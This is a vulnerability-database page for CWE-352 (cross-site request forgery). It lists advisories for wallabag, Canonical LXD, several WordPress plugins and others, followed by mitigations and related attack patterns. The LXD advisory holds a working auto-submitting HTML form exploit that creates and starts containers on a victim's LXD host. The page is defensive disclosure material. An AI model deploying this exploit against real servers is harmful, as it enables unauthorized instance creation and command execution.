CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14258 vulnerabilities reference this CWE, most recent first.
GHSA-P8GP-899C-JVQ9
Vulnerability from github – Published: 2023-08-21 20:28 – Updated: 2023-08-24 21:48Description
wallabag was discovered to contain a Cross-Site Request Forgery (CSRF) which allows attackers to arbitrarily reset annotations, entries and tags, by the GET request to /reset/annotations, /reset/entries, /reset/tags, /reset/archived.
This vulnerability has a CVSSv3.1 score of 4.3.
You should immediately patch your instance to version 2.6.3 or higher if you have more than one user and/or having open registration.
Resolution
These actions are now doable only via POST method, which ensures that we can't do them via a 3rd-party website.
Credits
We would like to thank @zpbrent for reporting this issue through huntr.dev.
Reference: https://huntr.dev/bounties/4ee0ef74-e4d4-46e7-a05c-076bce522299/
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.6.2"
},
"package": {
"ecosystem": "Packagist",
"name": "wallabag/wallabag"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-alpha.1"
},
{
"fixed": "2.6.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-4454"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-21T20:28:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Description\n\nwallabag was discovered to contain a Cross-Site Request Forgery (CSRF) which allows attackers to arbitrarily reset annotations, entries and tags, by the GET request to `/reset/annotations`, `/reset/entries`, `/reset/tags`, `/reset/archived`.\n\nThis vulnerability has a CVSSv3.1 score of 4.3.\n\n**You should immediately patch your instance to version 2.6.3 or higher if you have more than one user and/or having open registration**.\n\n# Resolution\n\nThese actions are now doable only via POST method, which ensures that we can\u0027t do them via a 3rd-party website. \n\n# Credits \n\nWe would like to thank @zpbrent for reporting this issue through huntr.dev.\n\nReference: https://huntr.dev/bounties/4ee0ef74-e4d4-46e7-a05c-076bce522299/",
"id": "GHSA-p8gp-899c-jvq9",
"modified": "2023-08-24T21:48:12Z",
"published": "2023-08-21T20:28:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wallabag/wallabag/security/advisories/GHSA-p8gp-899c-jvq9"
},
{
"type": "WEB",
"url": "https://github.com/wallabag/wallabag/commit/78b0b55c40511e1f22d5bbb4897aa10fca68441c"
},
{
"type": "PACKAGE",
"url": "https://github.com/wallabag/wallabag"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/4ee0ef74-e4d4-46e7-a05c-076bce522299"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Wallabag user can reset data unintentionally "
}
GHSA-P8HW-RFJG-689H
Vulnerability from github – Published: 2025-10-02 21:23 – Updated: 2025-11-05 22:05Description
OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.
However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.
Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when Content-Type is text/plain or application/x-www-form-urlencoded, CSRF attacks exploiting HTML form submissions are possible.
Reproduction Steps
- Prepare a malicious website controlled by the attacker
- Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:
This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.
Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. This is typically set in the default profile of projects created after storage pool creation.
<html>
<body>
<form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form">
<input type="hidden" name='{"' id="input">
<input type="submit">
</form>
<script>
const i = document.getElementById('input');
i.value = `":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}`;
document.getElementById('form').submit();
</script>
</body>
</html>
- Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2
- Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started
Risk
The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.
Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.
Countermeasures
The most effective countermeasure is to strictly enforce Content-Type validation at API endpoints.
Specifically, change the implementation to reject requests when Content-Type is not application/json. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.
Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.
Patches
| LXD Series | Status |
|---|---|
| 6 | Fixed in LXD 6.5 |
| 5.21 | Fixed in LXD 5.21.4 |
| 5.0 | Fixed in LXD 5.0.5 |
| 4.0 | Ignored - No web UI |
References
Reported by GMO Flatt Security Inc.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "5.0"
},
{
"fixed": "5.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "5.1"
},
{
"fixed": "5.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "6.0"
},
{
"fixed": "6.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-20220401034332-1e1349e3cbf3"
},
{
"fixed": "0.0.0-20250827065555-0494f5d47e41"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54286"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-02T21:23:44Z",
"nvd_published_at": "2025-10-02T10:15:38Z",
"severity": "HIGH"
},
"details": "### Description\nOIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.\n\nHowever, since the SameSite concept does not apply to client certificates, CSRF protection that doesn\u0027t rely on the SameSite attribute is necessary.\n\nNote that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD\u0027s API parses request bodies as JSON even when `Content-Type` is `text/plain` or `application/x-www-form-urlencoded`, CSRF attacks exploiting HTML form submissions are possible.\n\n### Reproduction Steps\n1. Prepare a malicious website controlled by the attacker\n2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:\n\nThis exploit code automatically sends a JSON string as text/plain to create an instance when rendered.\n\nNote that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. \nThis is typically set in the default profile of projects created after storage pool creation.\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform enctype=\"text/plain\" method=\"POST\" action=\"https://lxd-host:8443/1.0/instances?project=default\u0026target=\" id=\"form\"\u003e\n\u003cinput type=\"hidden\" name=\u0027{\"\u0027 id=\"input\"\u003e\n\u003cinput type=\"submit\"\u003e\n\u003c/form\u003e\n\u003cscript\u003e\nconst i = document.getElementById(\u0027input\u0027);\ni.value = `\":123,\"name\":\"poc\",\"type\":\"container\",\"profiles\":[\"default\"], \"source\":{\"alias\":\"24.04\",\"mode\":\"pull\",\"protocol\":\"simplestreams\",\"server\":\"https://cloud-images.ubuntu.com/releases\",\"type\":\"image\"},\"devices\":{},\"config\":{},\"start\":true}`;\ndocument.getElementById(\u0027form\u0027).submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n3. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2\n4. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started\n\n### Risk\nThe attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.\n\nPossible actions through the attack include, depending on the victim\u0027s permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.\n\n### Countermeasures\nThe most effective countermeasure is to strictly enforce `Content-Type` validation at API endpoints. \nSpecifically, change the implementation to reject requests when `Content-Type` is not `application/json`. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.\n\nAdditionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.\n\n### Patches\n\n| LXD Series | Status |\n| ------------- | ------------- |\n| 6 | Fixed in LXD 6.5 |\n| 5.21 | Fixed in LXD 5.21.4 |\n| 5.0 | Fixed in LXD 5.0.5 |\n| 4.0 | Ignored - No web UI |\n\n### References\nReported by GMO Flatt Security Inc.",
"id": "GHSA-p8hw-rfjg-689h",
"modified": "2025-11-05T22:05:13Z",
"published": "2025-10-02T21:23:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/security/advisories/GHSA-p8hw-rfjg-689h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54286"
},
{
"type": "PACKAGE",
"url": "https://github.com/canonical/lxd"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4003"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI"
}
GHSA-P8MJ-G26X-2RP4
Vulnerability from github – Published: 2022-03-01 00:00 – Updated: 2022-03-17 00:04The Simple Membership WordPress plugin before 4.0.9 does not have CSRF check when deleting members in bulk, which could allow attackers to make a logged in admin delete them via a CSRF attack
{
"affected": [],
"aliases": [
"CVE-2022-0328"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-28T09:15:00Z",
"severity": "MODERATE"
},
"details": "The Simple Membership WordPress plugin before 4.0.9 does not have CSRF check when deleting members in bulk, which could allow attackers to make a logged in admin delete them via a CSRF attack",
"id": "GHSA-p8mj-g26x-2rp4",
"modified": "2022-03-17T00:04:54Z",
"published": "2022-03-01T00:00:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0328"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2662855"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/44532b7c-4d0d-4959-ada4-733f377d6ec9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P8PR-5QMG-85FR
Vulnerability from github – Published: 2025-02-06 18:31 – Updated: 2025-02-07 03:32A cross-site request forgery (CSRF) vulnerability in the pjActionUpdate function of PHPJabbers Cinema Booking System v2.0 allows remote attackers to escalate privileges by tricking an authenticated admin into submitting an unauthorized request.
{
"affected": [],
"aliases": [
"CVE-2024-57429"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-06T17:15:20Z",
"severity": "MODERATE"
},
"details": "A cross-site request forgery (CSRF) vulnerability in the pjActionUpdate function of PHPJabbers Cinema Booking System v2.0 allows remote attackers to escalate privileges by tricking an authenticated admin into submitting an unauthorized request.",
"id": "GHSA-p8pr-5qmg-85fr",
"modified": "2025-02-07T03:32:01Z",
"published": "2025-02-06T18:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57429"
},
{
"type": "WEB",
"url": "https://github.com/ahrixia/CVE-2024-57429"
},
{
"type": "WEB",
"url": "https://www.phpjabbers.com/cinema-booking-system"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P8Q2-VCV3-J5PC
Vulnerability from github – Published: 2026-03-07 00:30 – Updated: 2026-03-07 00:30The WP Frontend Profile plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3.8. This is due to missing nonce validation on the 'update_action' function. This makes it possible for unauthenticated attackers to approve or reject user account registrations via a forged request granted they can trick an administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2026-1644"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-07T00:16:13Z",
"severity": "MODERATE"
},
"details": "The WP Frontend Profile plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3.8. This is due to missing nonce validation on the \u0027update_action\u0027 function. This makes it possible for unauthenticated attackers to approve or reject user account registrations via a forged request granted they can trick an administrator into performing an action such as clicking on a link.",
"id": "GHSA-p8q2-vcv3-j5pc",
"modified": "2026-03-07T00:30:29Z",
"published": "2026-03-07T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1644"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-front-end-profile/tags/1.3.8/functions/wpfep-functions.php#L987"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-front-end-profile/trunk/functions/wpfep-functions.php#L987"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3466608%40wp-front-end-profile\u0026new=3466608%40wp-front-end-profile\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/74b186fd-5825-4a20-829b-6b8a5ddbe853?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P8RH-8MXV-5W8Q
Vulnerability from github – Published: 2024-03-15 15:30 – Updated: 2026-04-28 15:30Cross-Site Request Forgery (CSRF) vulnerability in Veribo, Roland Murg WP Simple Booking Calendar.This issue affects WP Simple Booking Calendar: from n/a through 2.0.8.4.
{
"affected": [],
"aliases": [
"CVE-2023-51525"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-15T14:15:07Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Veribo, Roland Murg WP Simple Booking Calendar.This issue affects WP Simple Booking Calendar: from n/a through 2.0.8.4.",
"id": "GHSA-p8rh-8mxv-5w8q",
"modified": "2026-04-28T15:30:41Z",
"published": "2024-03-15T15:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51525"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wp-simple-booking-calendar/vulnerability/wordpress-wp-simple-booking-calendar-plugin-2-0-8-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wp-simple-booking-calendar/wordpress-wp-simple-booking-calendar-plugin-2-0-8-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-P8RV-X4HP-J26P
Vulnerability from github – Published: 2022-05-24 16:48 – Updated: 2024-04-04 01:02The Bobronix JEditor editor before 3.0.6 for Jira allows an attacker to add a URL/Link (to an existing issue) that can cause forgery of a request to an out-of-origin domain. This in turn may allow for a forged request that can be invoked in the context of an authenticated user, leading to stealing of session tokens and account takeover.
{
"affected": [],
"aliases": [
"CVE-2019-12836"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-21T15:15:00Z",
"severity": "HIGH"
},
"details": "The Bobronix JEditor editor before 3.0.6 for Jira allows an attacker to add a URL/Link (to an existing issue) that can cause forgery of a request to an out-of-origin domain. This in turn may allow for a forged request that can be invoked in the context of an authenticated user, leading to stealing of session tokens and account takeover.",
"id": "GHSA-p8rv-x4hp-j26p",
"modified": "2024-04-04T01:02:37Z",
"published": "2022-05-24T16:48:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12836"
},
{
"type": "WEB",
"url": "https://github.com/9lyph/CVE-2019-12836/blob/master/README.md"
},
{
"type": "WEB",
"url": "https://jeditor.zendesk.com/hc/en-us/articles/360029430751-JEditor-3-0-6-release-notes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P8V8-PFGH-P5CQ
Vulnerability from github – Published: 2022-05-05 02:48 – Updated: 2025-03-31 12:30Cross-site request forgery (CSRF) vulnerability in apps/calendar/ajax/settings/settimezone in ownCloud before 4.0.12 allows remote attackers to hijack the authentication of users for requests that change the timezone via the timezone parameter.
{
"affected": [],
"aliases": [
"CVE-2013-0301"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-03-14T17:55:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability in apps/calendar/ajax/settings/settimezone in ownCloud before 4.0.12 allows remote attackers to hijack the authentication of users for requests that change the timezone via the timezone parameter.",
"id": "GHSA-p8v8-pfgh-p5cq",
"modified": "2025-03-31T12:30:37Z",
"published": "2022-05-05T02:48:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-0301"
},
{
"type": "WEB",
"url": "http://owncloud.org/about/security/advisories/oC-SA-2013-004"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P8VC-3R99-J897
Vulnerability from github – Published: 2025-11-14 21:30 – Updated: 2025-11-14 21:30A vulnerability has been found in Bdtask/CodeCanyon Wholesale Inventory Control and Inventory Management System up to 20250320. This issue affects some unknown processing. Such manipulation leads to cross-site request forgery. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-13179"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-14T20:15:46Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in Bdtask/CodeCanyon Wholesale Inventory Control and Inventory Management System up to 20250320. This issue affects some unknown processing. Such manipulation leads to cross-site request forgery. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-p8vc-3r99-j897",
"modified": "2025-11-14T21:30:29Z",
"published": "2025-11-14T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13179"
},
{
"type": "WEB",
"url": "https://github.com/4m3rr0r/PoCVulDb/issues/3"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.332469"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.332469"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.684823"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P8WM-PG92-J5JW
Vulnerability from github – Published: 2022-05-14 02:50 – Updated: 2022-05-14 02:50Multiple cross-site request forgery (CSRF) vulnerabilities in ZTE ZXDSL 831CII allow remote attackers to hijack the authentication of administrators for requests that (1) change the admin user name or (2) conduct cross-site scripting (XSS) attacks via the sysUserName parameter in a save action to adminpasswd.cgi or (3) change the admin user password via the sysPassword parameter in a save action to adminpasswd.cgi.
{
"affected": [],
"aliases": [
"CVE-2014-9019"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-11-20T17:50:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site request forgery (CSRF) vulnerabilities in ZTE ZXDSL 831CII allow remote attackers to hijack the authentication of administrators for requests that (1) change the admin user name or (2) conduct cross-site scripting (XSS) attacks via the sysUserName parameter in a save action to adminpasswd.cgi or (3) change the admin user password via the sysPassword parameter in a save action to adminpasswd.cgi.",
"id": "GHSA-p8wm-pg92-j5jw",
"modified": "2022-05-14T02:50:22Z",
"published": "2022-05-14T02:50:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9019"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/98585"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/129016/ZTE-831CII-Hardcoded-Credential-XSS-CSRF.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/533930/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/70984"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.